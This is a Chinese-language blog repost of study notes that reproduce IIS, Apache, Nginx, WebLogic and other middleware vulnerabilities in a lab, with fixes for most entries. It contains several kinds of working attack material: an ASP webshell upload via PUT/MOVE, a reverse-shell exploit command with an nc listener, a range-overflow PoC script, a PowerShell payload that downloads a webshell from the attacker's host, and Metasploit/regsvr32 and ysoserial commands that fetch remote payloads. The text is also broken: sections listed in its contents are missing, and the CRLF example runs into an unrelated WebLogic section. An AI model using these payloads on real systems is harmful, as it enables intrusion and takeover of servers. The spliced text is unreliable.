栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

中间件漏洞汇总

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

中间件漏洞汇总

目录
  • 一些地址
  • 什么是中间件
  • iis6x篇
    • PUT漏洞
      • 漏洞描述
      • 漏洞复现
      • 防御方式
    • 解析漏洞-基于文件名
      • 原理
      • 复现
      • 防御
    • 解析漏洞-基于文件夹
      • 原理
      • 复现
      • 防御
    • IIS短文件漏洞
      • 介绍
      • 原理
      • 复现
      • 防御
    • RCE-CVE-2017-7269
      • 介绍
      • 影响范围
      • 复现
      • 防御
  • iis7x篇
    • 文件解析漏洞
      • 原理
      • 复现
      • 防御
    • HTTP.SYS远程代码执行(MS15-034)
      • 介绍
      • 影响范围
      • 影响版本
      • 复现
      • 修复建议
  • apache篇
    • 未知扩展名解析漏洞
      • 漏洞原理
      • 复现
      • 修复建议
    • AddHandler导致的解析漏洞
      • 原理
      • 复现
      • 修复建议
    • 目录遍历漏洞
      • 原理
      • 复现
      • 防御
    • Apache HTTPD 换行解析漏洞(CVE-2017-15715)
      • 漏洞描述
      • 漏洞复现
  • nginx篇
    • 文件解析漏洞
      • 漏洞描述
      • 复现
      • 修复方案
    • 目录遍历漏洞
      • 漏洞描述
      • 漏洞原理
      • 复现
      • 漏洞修复
    • 空字节代码执行漏洞
      • 漏洞描述
      • 漏洞复现
      • 漏洞修复
    • 整数溢出漏洞(CVE-2017-7529)
      • 漏洞描述
      • 漏洞复现
    • CRLF注入漏洞
      • 漏洞描述
      • 漏洞复现
      • 漏洞修复
    • 文件名逻辑漏洞(CVE-2013-4547)
      • 漏洞描述
      • 漏洞复现
  • tomcat篇
    • Tomcat 远程代码执行漏洞(CVE-2017-12615)
      • 漏洞描述
      • 漏洞原理
      • 漏洞复现
      • 修复
    • Tomcat + 弱口令 && 后台getshell漏洞
      • 漏洞原理
      • 漏洞复现
      • 漏洞修复
    • tomcat 远程代码执行(CVE-2019-0232)
      • 漏洞描述
      • 环境准备
      • 漏洞复现
      • 漏洞修复
    • tomcat反序列化漏洞(cve-2016-8735)
      • 漏洞描述
      • 环境准备
      • 漏洞复现
    • Tomcat文件包含漏洞(CVE-2020-1938)
      • 漏洞描述
      • 漏洞原理
      • 漏洞复现
      • 漏洞防护
  • jBoss篇
    • JMX Console未授权访问Getshell
      • 漏洞描述
      • 漏洞复现
      • 修复方案
    • JBoss 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
      • 漏洞描述
      • 漏洞复现
      • 修复方案
    • Jboss 5.x/6.x admin-Console后台部署war包Getshell
      • 漏洞描述
      • 漏洞复现
      • 修复方案
    • JBossMQJMS 反序列化漏洞(CVE-2017-7504)
      • 漏洞描述
      • 漏洞复现
  • Weblogic篇
    • 弱口令getshell漏洞
      • 漏洞描述
      • 漏洞复现
      • 漏洞修复
    • XMLDecoder反序列化漏洞(CVE-2017-3506)
      • 漏洞描述
      • 漏洞复现
      • 修复方案
    • wls-wsat反序列化漏洞(CVE-2019-2725)
      • 漏洞描述
      • 漏洞复现
      • 修复建议
    • WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628)
      • 漏洞描述
      • 漏洞复现
        • 1. 测试有无漏洞
        • 2. 上传shell
        • 3. 执行shell
        • 4. 获得meterpreter
      • 修复建议
    • WebLogic CVE-2018-2894文件任意上传
    • CVE-2020-14882 WebLogic远程代码执行漏洞

文章内容没啥新颖的,只是温习了中间件漏洞输出成笔记而已

一些地址

下面的地址,详细的记录了中间件漏洞,我这里再学习复现一部分。
全网最全PDF版本:Web中间件常见漏洞总结.pdf
中间件漏洞复现:https://blog.csdn.net/zy15667076526/category_10361202.html

什么是中间件

我们经常管web中间件叫做web服务器或者web容器,中间件(英语:Middleware)是提供系统软件和应用软件之间连接的软件,以便于软件各部件之间的沟通。中间件处在操作系统和更高一级应用程序之间。他充当的功能是:将应用程序运行环境与操作系统隔离,从而实现应用程序开发者不必为更多系统问题忧虑,而直接关注该应用程序在解决问题上的能力 。容器就是中间件的一种。

也就是说,关于中间件,我们可以理解为:是一类能够为一种或多种应用程序合作互通、资源共享,同时还能够为该应用程序提供相关的服务的软件。(注意:中间件是一类软件的总称,不是单独的一个软件)

常见的web中间件有以下这些:

  • iis
  • apache
  • tomcat
  • nginx
  • jboss
  • Weblogic
  • WebSphere
iis6x篇

使用内部靶场 Windows Server 2003 Standard x64 Edition,以NAT模式运行,选择自动获取DNS、IP,修改物理机hosts配置文件,添加站点 upload.moonteam.com

PUT漏洞 漏洞描述

IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写入的权限,造成任意文件上传。
版本:IIS 6.0

漏洞复现
  1. 开启 WebDAV 和写权限

  1. 打开网站,抓个包

  1. 把数据包发送到重放模块,GET方法改为OPTIONS,查看网站支持哪些协议

我们要用到的PUT和MOVE方法,网站都支持。

  1. 上传一句话木马

文件不能是asp后缀,否则会失败,可以上传txt格式的,然后借助MOVE方法改文件后缀

PUT /test.txt HTTP/1.1
Host: upload.moonteam.com
Content-Length: 23

<%eval request("cmd")%>

如果上传asp后缀的,会直接失败。

  1. 修改后门文件的后缀

注意:请求包的最后是要有2个换行的,就是下面图片中的第4、5行

MOVE /test.txt HTTP/1.1
Host: upload.moonteam.com
Destination: http://upload.moonteam.com/text.asp


  1. 连接菜刀

防御方式

方法1:关闭webdav

方法2:关闭写入权限

解析漏洞-基于文件名 原理

该版本默认将 *.asp;.jpg 此种格式的文件名,当成Asp解析。服务器默认不解析 ; 号及其后面的内容,相当于截断。iis除了会将asp解析成脚本执行文件之外,还会将 cer cdx asa扩展名解析成asp。这里举个例子,可以看到.cdx扩展名被解析成asp。

复现

访问 sb.asp;1.jpg,可以直接看到大马。

大马内容:

防御
  1. 禁止创建和上传此类畸形文件
  2. 图片存放目录设置成禁止脚本文件执行
  3. 升级iis版本
解析漏洞-基于文件夹 原理

该版本默认将 *.asp/ 目录下的所有文件当成 asp 解析

复现

创建文件 .asp 文件夹,上传图片后缀的后门到此目录

去靶机后台看看,发现网站目录下有名为 c.asp 的文件夹,里面有个被改成jpg后缀的大马。

防御
  1. 禁止创建此类文件夹
  2. 升级iis版本
IIS短文件漏洞 介绍

Windows 以 8.3 格式生成与 MS-DOS 兼容的(短)文件名,以允许基于 MS-DOS 或 16 位
Windows的程序访问这些文件。在cmd下输入"dir /x"即可看到短文件名的效果。

它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

原理

当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
目前IIS支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种,IIS 8.0之后的版本只能通过OPTIONS和TRACE方法被猜测成功。

**短文件名特征: **

  1. 只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的 6个字符是相同的,后面的数字进行递增。

  1. 后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。

  1. 所有小写字母均转换成大写的字母
  2. 长文件名中包含多个 . 的时候,以文件最后一个 . 作为短文件名的后缀

  1. 长文件名前缀/文件夹名字符长度符合0-9和A-Z、a-z范围且需要大于等于9位才会生成短文件名,如果包

含空格或者其他部分特殊字符,不论长度均会生成短文件。

复现

提醒一下,IIS8.0以下版本需要开启ASP.NET支持,IIS>=8.0版本,即使没有安装ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进行复现。

通过浏览器访问一个不存在的短文件名,会返回400状态码, 400说明该文件不存在;显示的404,说明目标存在该短文件名。
注:* 可以匹配n个字符,n可以为0

举个例子:

  1. 在网站下面新建一个名为 abcde1231111.txt 的文件

其对应的短文件名如下图

  1. 访问网站

访问:http://upload.moonteam.com/a*~1*/a.aspx ,返回404
访问:http://upload.moonteam.com/ab*~1*/a.aspx ,返回404
访问:http://upload.moonteam.com/ab1*~1*/a.aspx ,返回400
通过这种暴力猜解的方式,适合程序做。下载工具:

第一个工具:IIS Short Name Scanner (适合windows)
下载下来之后,直接双击bat运行

打开之后,长这个样子

第一个选项:输入目标网址
第二个选项:你想使用一个新的配置文件吗
第三个选项:您是否只想验证目标是否易受攻击而不彻底扫描它
第四个选项:设置线程

第2个工具:IIS_shortname_Scanner (需要python2环境)
我这里是在kali中运行的,记得改一下hosts配置文件

测试结果

防御
  1. 升级.net framework
  2. 修改注册表键值:

HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlFileSystem
修改 NtfsDisable8dot3NameCreation 为 1。修改完成后,需要重启系统生效。

  1. 命令行关闭,输入命令fsutil behavior set disable8dot3 1,然后重启系统。

注:此方法只能禁止NTFS8.3格式文件名创建,已经存在的文件的短文件名无法移除,需要将其先复制,再删除,再粘贴进去才行。

RCE-CVE-2017-7269 介绍

Microsoft windows Server 2003 R2中的 Interne 信息服务 IIS6.0 中的 WebDAV 服务中的ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If: 影响范围

WiNdows Server 2003 R2上使用IIS6.0并开启 WebDAV扩展。

复现

直接使用EXP:https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

nc -lvnp 6666	#开启监听
python iis6 reverse shell 192.168.239.151 80 192.168.239.141 6666	#反弹shell

防御
  1. 关闭 WebDav服务
  2. 产品升级
  3. 部署安全设备
iis7x篇

使用内部靶场 08server1 进行测试。以NAT模式运行,选择自动获取DNS、IP。

文件解析漏洞 原理

IIS7.x版本在Fast-CGl运行模式下,对于任意文件,例:a001.jpg/png后面加上/.php,会将a001.jpg/png解析为php文件。

复现
  1. 先访问下phpinfo。打开网站(免得还得看网站地址、端口啥的)

  1. 在网站根目录下准备一个1.jpg的文件,文件内容如下图

  1. 成功解析出1.jpg

防御

配置 cgi fix_pathinfo(php inil中)为0并重启php-cgi程序

此时,再刷新网页,会发现漏洞已经没了

HTTP.SYS远程代码执行(MS15-034) 介绍

HTTP.SYS是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入。IIS服务进程依赖HTTP.SYS,HTTP.SYS远程代码执行漏洞实质是HTTP.SYS的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。(暂无相关EXP,目前只能实现DoS效果,把目标打成蓝屏)

影响范围

Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和Windows server 2012 R2

影响版本

IIS7.5、IIS8.0、IIS8.5

复现

方式1:
编辑请求头,增加Range: bytes=0-18446744073709551615字段,若返回码状态为416 Requested Range Not Satisfiable,则存在HTTP.SYS远程代码执行漏洞。

响应码304,失败了。

解决办法很简单,删除多余的请求头就行了。

方法2:
poc 地址:https://github.com/davidjura/MS15-034-IIS-Active-DoS-Exploit-PoC

方法3:

电脑已经死机了,什么都动不了

修复建议

安装修复补丁(KB3042553)

apache篇

Apache 是世界使用排名第一的 Web 服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的 Web 服务器端软件之一。
apache目录结构

  • bin:存放常用命令工具,如httpd
  • cgi-bin:存放linux下常用命令,如xxx.sh
  • error:错误记录
  • htdocs:网站源码
  • icons:网站图标
  • manual:手册
  • modules:扩展模块
未知扩展名解析漏洞 漏洞原理

Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别,则继续向左识别,直到识别到合法后缀才进行解析。那么哪些后缀Apache不认识?不在mime.types 里面的都不认识 (Multipurpose Internet Mail Extensions)

  1. 使用module模式与php结合的所有版本apache存在未知扩展名解析漏洞。
  2. 使用fastcgi模式与php结合的所有版本apache不存在此漏洞。
  3. 利用此漏洞时必须保证扩展名中至少带有一个.php,不然将默认作为txt/html文档处理。
复现

这里使用phpstudy进行复现。

实战中可以上传rar,owf等文件进行利用,如果上传phpinfo.php.jpg,即使文件名中有.php,也会直接解析为jpg。因为Apache认识.jpg,停止继续向左识别。

修复建议
  1. 在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:

Order Deny,Allow
Deny from all

  1. 如果需要保留文件名,可以修改程序源代码,替换上传文件名中的.为_:

$filename = str_replace('.', '_', $filename);

AddHandler导致的解析漏洞 原理

如果运维人员给.php后缀增加了处理器:AddHandler application/x-httpd-php .php,那么,在有多个后缀的情况下,只要一个文件名中含有.php后缀,即被识别成PHP文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

复现

取消注释httpd.conf文件中的AddType application/x-httpd-php .php .phtml,那么,如果文件后缀中存在.php、.phtml,文件就会被解析成php文件

制作一个测试文件

修复建议
  1. 在httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为.php.的访问权限:

Order Deny,Allow
Deny from all

  1. 把配置不当的文件进行修改
目录遍历漏洞 原理

原理:当客户端访问到一个目录时,Apache服务器将会默认寻找一个index list中的文件,若文件不存在,则会列出当前目录下所有文件或返回403状态码,而列出目录下所有文件的行为称为目录遍历。

复现

就是下图的一个效果,网页中会显示出网站的目录结构。说起来,我自己的所有靶机都开启了这个目录浏览

防御

找到 httpd.conf,把到 Options + Indexes + FollowSymlinks + ExecCGI 修改成Options -Indexes +FollowSymlinks +ExecCGI并保存,然后重启phpstudy即可。

    • Indexes 允许目录浏览
    • Indexes 禁止目录浏览

这个时候,再尝试访问就不行了。

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

复现详情参见:CVE-2017-15715 Repetition

漏洞描述

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.phpx0a将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。此漏洞形成的根本原因,在于$, 正则表达式中$不仅匹配字符串结尾位置,也可以匹配 n 或 r
影响范围:Apache 2.4.0~2.4.29版本

漏洞复现

使用内部靶场

  1. 打开环境

  1. 上传一个phpinfo的文件

  1. 直接上传是要失败滴

  1. 在test.php后面添加一个空格,然后通过16进制编辑,把空格改为0a

  1. 访问上传的文件,直接访问是要失败滴

  1. 访问地址后面添加0a即可

nginx篇

Nginx是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好。

文件解析漏洞 漏洞描述

该漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于security.limit_extensions的引入,使得该漏洞难以被成功利用。在已经上传了恶意文件1.jpg后,访问/1.jpg/xxx.php,使得Nginx将其解析为php文件传给php-cgi程序(传给路径位于SERVER[“script_FILENAME”],修复去除路径位于SERVER[“PATH_INFO”]),但cgi程序将其解析为1.jpg并执行。

cgi.fix_pathinfo=1说明存在漏洞

复现

这里在网站根目录下准备一个phpinfo的文件,后缀改为jpg

修复方案
  1. 将php.ini文件中的cgi.fix_pathinfo的值设置为0,这样php再解析1.php/1.jpg这样的目录时,只要1.jpg不存在就会显示404页面
  2. php-fpm.conf中的security.limit_extensions后面的值设置为.php
目录遍历漏洞 漏洞描述

Nginx的目录遍历与apache一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。

漏洞原理

修改nginx.conf,在如下图位置设置为autoindex on

复现

漏洞修复
  1. 设置 autoindex off 关闭目录浏览

  1. 删除 autoindex on
空字节代码执行漏洞 漏洞描述

在使用PHP-FastCGI执行php的时候,URL里面在遇到%00空字节时与FastCGI处理不一致,导致可在非php文件中嵌入php代码,通过访问 url+%00.php 来执行其中的php代码。如:http://local/robots.txt.php会把robots.txt文件当作php来执行。
影响版本:

  • nginx 0.5.*
  • nginx 0.6.*
  • nginx 0.7 <= 0.7.65
  • nginx 0.8 <= 0.8.37
漏洞复现

图源网络,本地暂无环境

  1. 开启nginx

  1. 在网站目录下添加1.jpg文件

  1. 访问该文件

  1. 抓包,添加%00

这里由于该图非正常,在抓包时最后面添加 ..,可以让burpsuite抓到

把请求修改为/1.jpg..php,然后发包即可

漏洞修复
  1. 在nginx虚拟机配置或者fcgi.conf配置加如下代码:
if ($request_filename ~* (.*).php) {
	set $php_url $1;
}
if (!-e $php_url.php) {
	return 403;
}
  1. 升级 nginx
整数溢出漏洞(CVE-2017-7529) 漏洞描述

在 Nginx 的 range filter 中存在整数溢出漏洞,可以通过带有特殊构造的 range 的 HTTP 头的恶意请求引发这个整数溢出漏洞,并导致信息泄露。

该漏洞影响所有 0.5.6 - 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进行远程攻击造成信息泄露。当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务器的后端真实IP或其他敏感信息。通过我们的分析判定该漏洞利用难度低可以归属于low-hanging-fruit的漏洞在真实网络攻击中也有一定利用价值。

漏洞复现

POC地址:https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2017-7529
POC代码:

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)
print(r.text)
  1. 打开内部测试靶场

  1. POC开打

CRLF注入漏洞 漏洞描述

Nginx将传入的url进行解码,对其中的%0a%0d替换成换行符,导致后面的数据注入至头部,造成CRLF注入漏洞

漏洞复现

设置https跳转,这样就可以接收到url,进而进行处理。在nginx.conf文件中添加下面一行话。return 302 https://$host$uri;,在配置原有基础上增加这一行信息,目的是为了让http的请求跳转到https。

方法1:

GET /%0ASet-cookie:JSPSESSID%3D3 HTTP/1.1
Host: 192.168.239.153
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*,然后就成功了。

  1. 连接冰蝎

修复方案
  1. 安装补丁
  2. 删除wls-wsat组件
删除C:OracleMiddlewarewlserver_10.3serverlibwls-wsat.war
删除C:OracleMiddlewareuser_projectsdomainsbase_domainserversAdminServertmp.internalwls-wsat.war
删除C:OracleMiddlewareuser_projectsdomainsbase_domainserversAdminServertmp_WL_internalwls-wsat

重启Weblogic

wls-wsat反序列化漏洞(CVE-2019-2725) 漏洞描述

CVE-2019-2725是一个Oracle weblogic反序列化远程命令执行漏洞,这个漏洞依旧是根据weblogic的xmldecoder反序列化漏洞,通过针对Oracle官网历年来的补丁构造payload来绕过。

影响组件:bea_wls9_async_response.war, wls-wsat.war
影响版本:10.3.6.0, 12.1.3.0

漏洞复现

访问 /_async/AsyncResponseService,返回如下页面,则可能存在此漏洞。

漏洞不仅存在于 /_async/AsyncResponseService,只要是在bea_wls9_async_response包中的uri皆受到影响,可以查看web.xml得知所有受到影响的uri,路径为:

C:OracleMiddlewareuser_projectsdomainsbase_domainserversAdminServertmp_WL_internalbea_wls9_async_response8tpkyswarWEB-INFweb.xml

默认受到影响的uri如下:

/_async/AsyncResponseService
/_async/AsyncResponseServiceJms
/_async/AsyncResponseServiceHttps

利用方式1:
使用工具DeserializeExploit:https://cdn.vulhub.org/deserialization/DeserializeExploit.jar
软件简单好用!

利用方式2:
使用BurpSuite重新发包。
利用思路,借助靶机的powshell远程下载webshell。

  1. 把冰蝎的shell.jsp拖到kali里面,kali使用python开启一个web服务

  1. 准备发包
    1. 请求头添加Content-Type: text/xml
    2. 请求体中,是需要在第31行指明后门下载地址即可
POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.239.162:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: text/xml
Connection: close
cookie: ADMINConSOLESESSION=4VqThfnbStWNv00tHwQjkYwrVyXXHpxDTrl11t46vKXw3cRQFXpL!1836229127; JSESSIonID=2SdxhfwQ4J3PyrvFCy9ngdVFSnL4Gg8JYKb0qnDqMyHJ8W3nT8Rq!1836229127
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 903



xx
xx




cmd


/c


powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.239.163/shell.jsp','servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/webshell.jsp')








  1. 在kali里面发现确实有一条HTTP连接

  1. 连接冰蝎

访问地址:http://192.168.239.162:7001/_async/webshell.jsp

修复建议
  1. 禁用bea_wls9_async_response组件
  2. 删除wls9_async_response的war包并重启
  3. 禁止访问 /_async/* 路径
WebLogic T3协议反序列化命令执行漏洞(CVE-2018-2628) 漏洞描述

Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。

漏洞复现

使用内部靶场启动环境:

使用k8的测试工具:https://github.com/k8gege/K8tools
我这里被提示需要安装相关.NET环境,使用隧道配置这些环境太繁琐了,暂不复现了。附上K8提供的工具使用说明,操作很简单。如下:

1. 测试有无漏洞

2. 上传shell

方式一:

方式二:

3. 执行shell

4. 获得meterpreter

msf > use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set target 3
target => 3
msf exploit(multi/script/web_delivery) >  set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.129.128
lhost => 192.168.129.128
msf exploit(multi/script/web_delivery) > set lport 2333
lport => 2333
msf exploit(multi/script/web_delivery) > exploit 
[*] Exploit running as background job 0.

[*] Started reverse TCP handler on 192.168.129.128:2333 
[*] Using URL: http://0.0.0.0:8080/ZqKpshnepenp8T9
msf exploit(multi/script/web_delivery) > [*] Local IP: http://192.168.129.128:8080/ZqKpshnepenp8T9
[*] Server started.
[*] Run the following command on the target machine:
regsvr32 /s /n /u /i:http://192.168.129.128:8080/ZqKpshnepenp8T9.sct scrobj.dll
[*] 192.168.129.143  web_delivery - Handling .sct Request
[*] 192.168.129.143  web_delivery - Delivering Payload
[*] Sending stage (179779 bytes) to 192.168.129.143
[*] Meterpreter session 1 opened (192.168.129.128:2333 -> 192.168.129.143:52210) at 2019-01-02 01:29:00 -0500

msf exploit(multi/script/web_delivery) > sessions -i 1

在cmd下执行

 regsvr32 /s /n /u /i:http://192.168.129.128:8080/ZqKpshnepenp8T9.sct scrobj.dll

进入meterpreter:

sessions -i 1

方式二:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'regsvr32 /s /n /u /i:http://192.168.129.128:8080/cPeSBp.sct scrobj.dll'


python 44553.py 192.168.129.143 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.129.128 1099 JRMPClient



java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'regsvr32 /s /n /u /i:http://192.168.129.128:8080/7Gcn5at6tOGgzG.sct scrobj.dll'


python 44553.py 192.168.129.143 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.129.128 1099 JRMPClient
修复建议
  1. 及时更新补丁
  2. 禁用T3协议
  3. 禁止T3端口对外开放, 或者限制可访问T3端口的IP来源
WebLogic CVE-2018-2894文件任意上传

可以使用vulhub提供的环境:https://vulhub.org/#/environments/weblogic/CVE-2018-2894/
网上复现教程很多,提供一个:https://blog.csdn.net/weixin_43625577/article/details/97001677
内部靶场提供的也有相关环境,但是登录weblogic需要联系仿真平台的管理员索要相关密码,暂不复现了。

CVE-2020-14882 WebLogic远程代码执行漏洞

内部靶场启动失败,已联系管理员。
网上复现教程很多,提供一个:https://www.cnblogs.com/hxlinux/p/14723721.html

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/599456.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号